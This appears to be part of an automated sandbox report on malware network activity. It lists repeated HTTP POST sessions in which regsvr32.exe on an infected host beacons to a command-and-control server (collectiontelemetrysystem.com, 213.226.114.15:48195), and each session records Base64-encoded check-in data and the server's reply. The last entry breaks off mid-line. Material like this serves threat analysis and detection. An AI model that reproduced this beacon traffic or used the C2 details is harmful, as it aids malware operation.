Jun 16, 2022 20:32:42.074858904 CEST	12949	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:41 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49819	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:11.579812050 CEST	3969	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:11.796875954 CEST	3969	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:11 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49907	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:42.339787006 CEST	12950	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:42.556560993 CEST	12950	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:42 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49908	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:42.801913977 CEST	12952	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:43.009428978 CEST	12952	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:42 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49909	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:43.265769958 CEST	12953	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:43.487049103 CEST	12954	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:43 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49910	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:43.717768908 CEST	12955	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:43.934223890 CEST	12955	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:43 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49911	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:44.192493916 CEST	12956	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:44.421416998 CEST	12957	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:44 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49912	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:44.655579090 CEST	12958	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:44.871180058 CEST	12958	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:44 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49913	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:45.118511915 CEST	12960	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:45.352816105 CEST	12960	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:45 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49914	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:45.598861933 CEST	12961	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:45.816725016 CEST	12962	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:45 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49915	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:46.028307915 CEST	12963	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:46.249480009 CEST	12963	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:45 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49916	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:46.470175982 CEST	12964	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: 